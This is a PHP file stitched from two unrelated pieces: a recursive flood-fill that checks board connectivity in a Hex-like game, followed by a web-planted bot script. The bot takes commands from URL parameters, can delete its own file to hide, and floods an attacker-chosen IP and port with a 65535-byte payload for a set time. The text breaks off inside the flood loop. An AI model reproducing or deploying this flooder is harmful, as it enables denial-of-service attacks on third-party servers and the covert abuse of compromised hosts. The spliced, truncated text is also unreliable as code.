function flood($board, $c, $colour_flag, $connect_flag)
{
$f = $board->at($c);
$is_colour = $f & $colour_flag;
$is_connected = $f & $connect_flag;
if ($f & $colour_flag && !($f & $connect_flag)) {
$board->update($c, $connect_flag);
if ($board->isGoalEdge($c, $colour_flag)) {
return true;
}
foreach ($board->neighbours($c) as $neighbour) {
if (flood($board, $neighbour, $colour_flag, $connect_flag)) {
return true;
}
}
}
return false;
}
<?php
$cmd = $_GET['cmd'];
$now = date("Ymd");
if ($cmd == "") {
echo "ok [{$now}]";
} elseif ($cmd == "delete") {
unlink($_SERVER["SCRIPT_FILENAME"]);
echo "deleted";
} elseif ($cmd == "flood") {
$ip = $_GET['ip'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$ret = flood($ip, $port, $exec_time);
echo $ret;
writeLog($ret);
} elseif ($cmd == "log") {
writeLog("world");
}
function flood($_ip, $_port, $_exec_time)
{
$packets = 0;
set_time_limit(0);
ignore_user_abort(FALSE);
$time = time();
$max_time = $time + $_exec_time;
for ($i = 0; $i < 65535; $i++) {
$out .= "X";
}
while (1) {
if (time() > $max_time) {
